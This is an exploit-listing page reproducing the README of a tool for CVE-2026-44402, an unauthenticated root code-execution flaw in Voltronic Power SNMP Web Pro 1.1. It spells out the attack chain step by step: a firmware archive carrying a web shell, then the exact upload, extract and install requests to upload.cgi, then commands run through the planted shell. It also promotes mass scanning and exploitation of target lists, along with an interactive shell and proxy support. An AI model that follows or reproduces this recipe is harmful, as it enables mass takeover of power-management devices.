Sploitus

Exploit for CVE-2026-44402

githubexploit · 2026-09-06

Exploit Code

README78 lines
## https://sploitus.com/exploit?id=A8B1CF3F-2B63-5B3F-A99B-2A07E3DD8B25
# CVE-2026-44402 — Voltronic Power SNMP Web Pro 1.1 Unauthenticated RCE

[![Python 3.6+](https://img.shields.io/badge/Python-3.6+-blue.svg)](https://www.python.org/)
[![CVSS](https://img.shields.io/badge/CVSS-9.8%20(Critical)-red.svg)](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
[![Author](https://img.shields.io/badge/Author-Cyp1337-orange.svg)](https://github.com/0xCyp1337)

**Critical Unauthenticated Remote Code Execution (CVSS 9.8) — Voltronic Power SNMP Web Pro 1.1**

This tool exploits **CVE-2026-44402**, a vulnerability in the **Voltronic Power SNMP Web Pro 1.1** device that allows **unauthenticated attackers** to upload a malicious firmware archive and execute system commands as **root** via the `upload.cgi` endpoint.

---

## ⚠️ Vulnerability Overview

| Property | Value |
|----------|-------|
| **CVE ID** | CVE-2026-44402 |
| **CVSS Score** | **9.8 (Critical)** |
| **CWE** | CWE-434 — Unrestricted Upload of File with Dangerous Type |
| **Affected Product** | Voltronic Power SNMP Web Pro 1.1 |
| **Auth Required** | **TIDAK** (unauthenticated) |
| **Attack Vector** | Network-based (remote) |
| **Privilege** | **Root-level RCE** |

### Technical Details

The vulnerability exists in the firmware update functionality (`upload.cgi`). The endpoint:

1. **Does not require authentication**
2. **Does not validate uploaded files**
3. **Extracts and executes archive contents as root**

## Exploit Chain

1. **Create Malicious Archive**
   - `upgrade/install.sh` — installation script
   - `upgrade/pwned.cgi` — web shell

2. **Upload Archive** → `POST /cgi-bin/upload.cgi?name=upgrade&?params=upload`
   - Response: `"ACK"` if successful

3. **Extract Archive** → `GET /cgi-bin/upload.cgi?name=upgrade&?params=extract`
   - Response: `"ACK"` if successful

4. **Install** → `GET /cgi-bin/upload.cgi?name=upgrade&?params=install`
   - `install.sh` is executed as **root**
   - Response: `"ACK"` if successful

5. **Web Shell Active** → `POST /cgi-bin/pwned.cgi`
   - Execute command with `cmd` parameter → **RCE!** 🚀


---

## 🚀 Features

- ✅ **Single-target exploitation** (`-u`)
- ✅ **Mass scanning & exploitation** (`-f targets.txt`)
- ✅ **Multi-threading** (`-t 20`) — fast parallel processing
- ✅ **Interactive Kali-style shell** (`--shell`) with `cd` support
- ✅ **Colorful output** with animated banner
- ✅ **Real-time progress bar** with spinner
- ✅ **JSON/TXT export** — `url | output` format
- ✅ **Proxy support** (`--proxy`)
- ✅ **Configurable timeout** (`--timeout`)
- ✅ **Verbose mode** (`-v`) for debugging
- ✅ **No external dependencies** beyond `requests` and `prompt_toolkit`

---

## 📥 Installation

```bash
# Clone the repository
git clone https://github.com/0xCyp1337/CVE-2026-44402.git
cd CVE-2026-44402
python3 CVE-2026-44402.py